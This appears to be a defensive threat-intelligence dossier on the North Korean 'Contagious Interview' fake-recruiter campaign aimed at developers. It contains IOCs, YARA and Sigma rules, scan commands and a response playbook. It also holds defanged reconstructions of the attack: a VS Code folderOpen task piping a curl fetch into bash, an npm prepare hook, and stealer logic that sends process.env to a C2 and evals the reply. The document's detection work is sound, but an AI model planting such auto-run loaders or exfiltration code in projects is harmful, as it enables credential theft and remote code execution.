Contagious Interview

Bottom line up front, for the responder who has 90 seconds.

What makes this dangerous

• Auto-run on folder open. A .vscode/tasks.json task with runOn: folderOpen executes a curl | bash loader when the project is opened in VS Code with the folder trusted. Keeping Workspace Trust enabled (the default) blocks it, which is exactly why the lure insists you "only review, do not run."
• Belt-and-suspenders execution. A package.json "prepare" lifecycle hook fires the same chain on npm install, so careful reviewers who avoid VS Code are still caught.
• Live remote code execution. The beacon to hxxp://91.121.235[.]127:1224/api/checkStatus eval()s whatever the server returns, the operator has an interactive shell into the victim's Node process.
• Secret-first collection. It exfiltrates process.env wholesale. API keys, cloud tokens, and .env contents are the primary prize, alongside browser-stored crypto-wallet material.

One operation, many vendor names. Knowing the aliases lets you correlate reporting across tools.

Contagious Interview is a DPRK state-aligned campaign that MITRE tracks as group G1052. Its tradecraft overlaps with Lazarus, but many analysts track it as a distinct, financially motivated cluster (the one CrowdStrike calls Famous Chollima), separate from Lazarus's espionage and destructive operations. The strategic goal is theft of cryptocurrency and credentials to fund the regime. Treat the Lazarus lineage as an analytic judgment, not settled consensus.

Reported aliases & overlapping clusters

The social-engineering premise

Operators pose as recruiters or hiring managers on LinkedIn, X, or freelancing platforms, targeting software engineers, heavily in crypto / web3. The victim is walked through a plausible interview funnel and handed a "coding assessment," "debug this repo," or "demo app to review" task. Running that project is the payload. The lure exploits professional trust and time pressure ("we need this back before the next round"), which is why even security-aware developers execute the code.

Seven stages from LinkedIn message to interactive backdoor, mapped to MITRE ATT&CK techniques.

ATT&CK technique board

An inverted SBOM: instead of a bill of trusted components, a bill of the malicious ones, plus the reusable attack patterns each one represents, so detection generalizes beyond this single repo.

A · Malicious component inventory

The "artifact" the victim receives is a bundle. Each component below is a distinct thing to detect, contain, and eradicate.

B · Pattern threat-vectors (reusable TTPs)

Infrastructure rotates; behavior persists. These are the abstracted, hunt-worthy patterns, write detections against these, not just the literal IOCs, and you catch the next repo too.

Copy-ready indicators, YARA, and Sigma. IOCs here are in live (un-defanged) form for tooling, handle accordingly.

Indicators of compromise

YARA. BeaverTail-style JS stealer

rule DPRK_ContagiousInterview_BeaverTail_JS
{
  meta:
    author      = "Defensive CTI"
    description = "BeaverTail JS stealer / loader. Contagious Interview (G1052)"
    reference   = "MITRE S1246; ATT&CK G1052"
    tlp         = "CLEAR"

  strings:
    // hard indicators (this campaign)
    $ip     = "91.121.235.127"
    $port   = ":1224"
    $path   = "/api/checkStatus"
    $vercel = "vscode-check-mo4-ten.vercel.app"

    // behavioral (hunt-grade, not alert-grade)
    $b1 = "process.env"
    $b2 = /eval\s*\(\s*[a-zA-Z_$]/
    // MetaMask + common wallet extension IDs
    $w1 = "nkbihfbeogaeaoehlefnkodbefgpgknn"
    $w2 = "ejbalbakoplchlghecdalmeeeajnimhm"

  condition:
    // pinned infra alerts; the behavioral branch is hunt-only
    (1 of ($ip,$port,$path,$vercel))
    or ( $b1 and $b2 and 1 of ($w1,$w2) )
}

Sigma, network beacon to port 1224

title: Contagious Interview C2 Beacon (port 1224)
status: experimental
logsource:
  category: network_connection
detection:
  sel_ip:
    DestinationIp: '91.121.235.127'
  sel_port:
    DestinationPort: 1224
  condition: sel_ip or sel_port
falsepositives:
  - 'Rare; port 1224 is not a common service port'
level: high
tags: [attack.command_and_control, attack.t1071.001]

Sigma, install-time / folder-open shell execution

title: Dev-tool Spawns Remote Pipe-to-Shell (npm/VSCode)
status: experimental
logsource:
  category: process_creation
detection:
  parent:
    ParentImage|endswith: ['\node','\npm','\Code.exe','/node','/Code']
  child_shell:
    Image|endswith: ['\bash','\sh','\cmd.exe','\powershell.exe']
  remote_fetch:
    CommandLine|contains|all: ['curl','|']
  condition: parent and remote_fetch and child_shell
falsepositives:
  - 'Legit postinstall scripts, tune to your build hosts'
level: high
tags: [attack.execution, attack.t1059, attack.t1546]

Repo-scan grep (pre-clone / CI gate)

# Flag the trigger patterns before anyone opens the project.
# Never `npm install` an untrusted repo to inspect it.
grep -REn 'runOn.*folderOpen' .vscode/ 2>/dev/null
grep -REn '"(pre|post)?(install|prepare)"' package.json
grep -REn 'curl[^|]*\|[^|]*(bash|sh)\b' .
grep -REn 'eval\(|child_process|process\.env' --include='*.js' .
grep -REn ':1224|checkStatus' .

Operationalized, runnable scanner & skill

The pattern-threat-vectors of §03 are shipped as a read-only reference scanner (scan_repo.py, stdlib-only) that implements PTV-01…07 and never installs, executes, evals, or touches the network, so it is safe to run on an untrusted repo before you open or install it. It is packaged as the sbom-payload-scan skill and gated for CI.

# exit 2 = CRITICAL · 1 = HIGH/MEDIUM · 0 = clean
python3 scan_repo.py <suspect-repo> --min-severity HIGH || echo "blocked"

Call-stage tells: the lure before the repo

The scanner covers the payload. The stage before it is the recruiter call that tries to get you to clone. Read a suspicious call on three axes, in the order the body actually reads them.

If a developer opened or installed the repo, work these in order. Assume full host compromise and secret theft until proven otherwise.

1. Contain

   Isolate the host, do not power off

   Network-isolate immediately (EDR containment or pull the cable). Keep it running to preserve memory and live C2 state for forensics. Do not log in with privileged accounts on the suspect host.

2. Contain

   Cut the C2 at the perimeter

   Block 91.121.235.127 (all ports, esp. 1224) and the stage-2 vercel[.]app host at the firewall/proxy. Add the IOCs to EDR/DNS blocklists org-wide, not just for the one host.

3. Eradicate reach

   Rotate every secret the host could touch

   Assume process.env, .env files, cloud CLI tokens, SSH keys, browser-stored passwords, session cookies, and crypto-wallet seeds were exfiltrated. Rotate them all: cloud IAM keys, CI/CD tokens, npm/GitHub PATs, VPN, and any wallet the user held. Revoke active sessions.

4. Triage

   Hunt for stage-2 & persistence

   Look for a Python process / InvisibleFerret modules, unexpected AnyDesk or other RMM installs (T1219), new startup/login items, cron/launchd/Run-key entries, and outbound connections to the C2. Pull EDR process tree back to node/Code as the parent.

5. Scope

   Determine blast radius

   Timeline from first clone. What did those rotated credentials access? Check cloud audit logs, GitHub org audit log, and repo access for anomalous activity in the exposure window. Identify any secrets that reached other systems (lateral movement).

6. Recover

   Reimage, don't clean

   Given in-memory eval() RCE and possible RAT, do not attempt surgical removal. Wipe and reimage the host from known-good media; restore data only after scanning. Reissue credentials to the reimaged host.

7. Report

   Notify & preserve

   Preserve the repo, memory capture, and network logs as evidence. Notify security leadership; for U.S. orgs consider reporting to the FBI/IC3 (this is nation-state activity). Warn other engineers who may have received the same "recruiter" lure.

8. Harden

   Close the class of bug

   Ship the PTV heuristics (§03) into code review / CI. Set npm config set ignore-scripts true as an org default for untrusted installs, keep VS Code Workspace Trust enabled (it blocks folderOpen auto-run in untrusted folders), and brief engineers on the fake-interview lure. Only ever open unknown "assessment" repos in a disposable VM or container.

How the trigger chain works, at the level a developer needs to recognize it. Snippets below are sanitized, illustrative reconstructions of the documented technique, defanged and non-functional, not copied live payload.

Trigger A, the folder-open task

A committed VS Code task set to runOn: folderOpen runs the moment the project opens, no command from the victim. In a legitimate repo you would essentially never ship this.

{
  "version": "2.0.0",
  "tasks": [{
    "label": "Build",
    "type": "shell",
    // zero-click: fires on open, fetches + runs remote code
    "command": "curl -s hxxps://vscode-check-…vercel[.]app/api/settings/$(uname) | bash",
    "runOptions": { "runOn": "folderOpen" },
    "presentation": { "reveal": "never" }   // stays hidden
  }]
}

Tells: runOn: folderOpen, reveal: never (hides the terminal), and a network fetch piped into a shell. Any one of these in a shared repo is a stop-work signal.

Trigger B, the npm lifecycle hook

A prepare script runs on npm install (and on git-based installs). It's the same detonation for anyone who installs deps instead of opening the folder.

{
  "name": "jackpot",
  "scripts": {
    "start": "node server.js",
    // auto-runs on `npm install`, pulls stage 1
    "prepare": "node ./routes/api/auth.js"
  }
}

Stage 1, the appended stealer

The real payload is bolted onto the end of a plausible file (routes/api/auth.js), usually a single high-entropy / minified line after normal, readable code. Deobfuscated, its logic is the behavior pattern to recognize:

// 1. package the machine's secrets
const loot = { env: process.env, host: os.hostname() };

// 2. beacon to C2 and RUN whatever it sends back (RCE)
const res = await post("hxxp://91.121.235[.]127:1224/api/checkStatus", loot);
eval(res.body);   // <-- server-controlled code execution

// 3. pull stage 2 (InvisibleFerret, Python)
download("hxxps://vscode-check-…vercel[.]app/api/settings/" + platform);

Tells: serializing process.env into an HTTP body (PTV-05), eval() on a response (PTV-04), and a second-stage download. The obfuscation exists only to slip eval/process.env past a skim, deobfuscation always lands here.

Everything above §07 is faithful inheritance of public reporting, good CTI, but reproducible by any analyst. This section is the part that is ours: it requires this decision corpus and cannot be written from public sources. Two instruments, run honestly.

A · Orthogonal echo, the campaign's kinematic twin in the decision corpus

Abstract the campaign away from malware and it is a five-move shape (its kinematic, the order in which things move): a spoofed-legitimate provenance (recruiter) delivers an artifact that auto-triggers before review (folderOpen / prepare), then executes untrusted remote output (eval of the C2 response) to drain the ambient secret substrate (process.env). The Orthogonal Echo Detector asks: where else in the logged corpus does this exact kinematic appear, at the opposite sign?

B · Believability ledger, a claim-by-claim receipt

The ledger grades every load-bearing claim in this dossier by evidentiary tier, so a reader sees exactly what rests on corroboration versus a single supplied source versus my own reasoning. A · Corroborated multiple independent public sources · B · Reported single-source (your incident brief), not independently verified, not detonated · C · Inference my analysis, not a source.